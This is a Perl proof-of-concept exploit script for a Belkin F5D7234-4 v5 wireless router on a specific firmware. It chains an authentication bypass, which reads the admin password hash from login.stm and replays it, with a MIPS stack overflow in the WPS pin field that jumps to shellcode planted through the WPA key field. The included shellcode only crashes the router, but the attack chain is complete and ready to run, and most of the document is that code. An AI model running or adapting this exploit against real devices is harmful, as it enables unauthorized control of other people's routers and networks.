| Belkin G Wireless Router RCE PoC. |
Firmware Version : 5.00.12 (Sep 10 2009 19:54:12)
Boot Version : 1.18
Hardware : F5D7234-4 v5 (01)
Author : Aodrulez.
Email : atul.alex@orchidseven.com
Twitter : http://twitter.com/Aodrulez
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| Details |
+---------+
The exploit works in 3 stages.
1. Authentication.
2. Setting up shellcode in the memory at a known location.
3. Triggering an RA register over-write to execute the shellcode.
This particular model of router is based on 'embedded Configurable operating system' a.k.a (eCos) version 2.0. The shellcode used in the exploit is a dummy one that basically just triggers an exception & crashes the router, forcing it to reboot.
Video Demo :
http://www.youtube.com/watch?v=MtrYs-f6X3E
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| Exploit |
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#!/usr/bin/perl
use strict;
use warnings;
use LWP 5.64;
$| = 1;
# Variable declarations.
my $browser = LWP::UserAgent->new;
my $passHash="";
my $url ="";
my $response ="";
my $ip="";
$browser ->timeout(10);
# Just a few nops followed by a dummy shellcode that crashes & reboots the router.
my $shellcode="\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x04\xd0\xff\xff\x20\x20\x20\x20";
sub Authenticate()
{
print "[+] Trying to authenticate.\n";
$url= "http://$ip/login.stm";
$response = $browser->get( $url);
my @aod= $response->content =~ m/var password = "(.*)";/g;
if(!$aod[0])
{
print "[-] Damn! Something went wrong. This might not work here :-/\n";
exit;
}
else
{
$passHash=$aod[0];
print "[+] Admin Password = $passHash (MD5 Hash).\n";
}
print "[+] Time to authenticate you!\n";
$url = "http://$ip/cgi-bin/login.exe";
$response = $browser->post( $url,
[ 'totalMSec' => "1377121454.99",
'pws' => "$passHash",
,]
);
if( $response->content =~ /index/ )
{
print "[+] Logged in successfully as 'Admin'!\n";
print "[!] Open this link in a browser for admin access : http://$ip/setup.htm \n";
} else {
print "[-] Login failed! This might not work here :-/\n";
exit;
}
print "\n[+] Continue with exploitation? (Y/N) : ";
my $temp=<STDIN>;
if ($temp=~"Y" || $temp=~"y")
{
Exploit();
}
else
{
print "[+] Have fun!\n\n";
exit;
}
}
sub Exploit()
{
# Stage 1: Fill shellcode at a known location : 0x803c0278 (Buffer=120 bytes)
# 0x803c0278 is fixed for this device/firmware combination.
print "[+] Stage 1 : Allocating shellcode.\n";
if (length($shellcode) > 120)
{
print "[-] Shellcode is too big! (120 bytes Max)\n";
exit;
}
print "[+] Shellcode length : ".length($shellcode)."\n";
# Fill the rest with nops. Not needed but good to have.
# Shellcode size should be ideally a multiple of 4 as this is MIPS.
my $nopsize=120-length($shellcode);
$shellcode=$shellcode.("\x20"x$nopsize);
$url = "http://$ip/cgi-bin/wireless_WPA.exe";
$response = $browser->post( $url,
[ 'wpa_authen' => "1",
'wpa_psk' => '0',
's_rekeysec' => '900000',
's_rekeypkt' => '1000',
'w802_rekey' => '0',
'encryption' => '3',
'security_type' => '4',
'authentication' => '3',
'encryption_hid' => '3',
'wpa_key_text' => "ssss",
'wpa_key_pass' => "$shellcode",
'obscure_psk' => '1',
'sharedkey_alter' => '',
'sharedkey_alter1' => '1',
,]
);
if( !$response->content )
{
print "[-] Damn! Something went wrong. This might not work here :-/\n";
}
else
{
print "[+] Stage 1 seems to have gone well.\n";
}
# Stage 2: Trigger Stack Overflow & overwrite RA
print "[+] Stage 2 : Triggering Return Address overwrite.\n";
my $junk="A"x32;
my $s0="BBBB";
my $s1="CCCC";
my $ra="\x78\x02\x3c\x80"; #EPC -> 0x803c0278 Fixed for this device/firmware combination.
my $nop="\x20\x20\x20\x20";
my $payload=$junk.$s0.$s1.$ra.$nop;
$url = "http://$ip/cgi-bin/wireless_WPS_Enroll.exe";
$response = $browser->post( $url,[ 'pin' => "$payload"]);
if( !$response->content )
{
print "[-] Damn! Something went wrong. This might not work here :-/\n";
}
else
{
print "[-] Done! \\m/\n";
}
}
sub Welcome()
{
print "\n\n+------------------------------------------+\n";
print "| Belkin G Wireless Router Remote Exploit |\n";
print "| (Authentication bypass & RCE PoC) |\n";
print "+------------------------------------------+\n";
print "[+] By Aodrulez.\n";
print "\n[+] Usage : perl $0 router_ip";
print "\n[!] Example : perl $0 192.168.2.1";
if (!$ARGV[0])
{
print "\n[-] (o_0) Seriously??\n";
exit;
}
$ip=$ARGV[0];
print "\n[+] Target IP : $ip\n";
}
# Burn!!
Welcome();
Authenticate();
# End of exploit code.
+-------------------+
| Greetz Fly Out To |
+-------------------+
1] Amforked() : My Mentor.
2] The Blue Genius : My Boss.
3] str0ke (milw0rm)
4] www.orchidseven.com
5] www.malcon.org
6] www.nsd.org.in
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| Quote |
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“I would rather die of passion than of boredom.” - Vincent van Gogh.
